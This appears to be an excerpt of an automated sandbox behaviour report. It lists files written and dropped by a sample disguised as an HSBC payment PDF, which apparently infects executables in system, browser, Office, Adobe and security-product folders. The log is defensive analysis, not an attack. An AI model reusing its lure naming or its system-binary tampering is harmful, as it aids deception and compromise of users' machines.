Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\7-Zip\7zFM.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\snmptrap.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\Spectrum.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Windows\System32\Locator.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\7-Zip\7z.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Windows\System32\AppVClient.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Windows\SysWOW64\perfhost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\7-Zip\7zG.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Windows\System32\msiexec.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\VSSVC.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\wbengine.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\SearchIndexer.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\notification_helper.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\TieringEngineService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\AgentService.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Windows\System32\FXSSVC.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\OpenSSH\ssh-agent.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Windows\System32\SensorDataService.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Windows\System32\msdtc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	System file written: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: \hsbc payment notification scan copy ref 62587299-24_pdf.exe
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: \hsbc payment notification scan copy ref 62587299-24_pdf.exe			Jump to behavior

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\chrome_pwa_launcher.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\chrmstp.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\vds.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\setup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\snmptrap.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\Spectrum.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\Locator.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\7-Zip\7z.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\AppVClient.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\SysWOW64\perfhost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\7-Zip\7zG.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\msiexec.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\notification_helper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\TieringEngineService.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Mozilla Firefox\updater.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\SensorDataService.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Windows\System32\msdtc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File created: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to dropped file
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
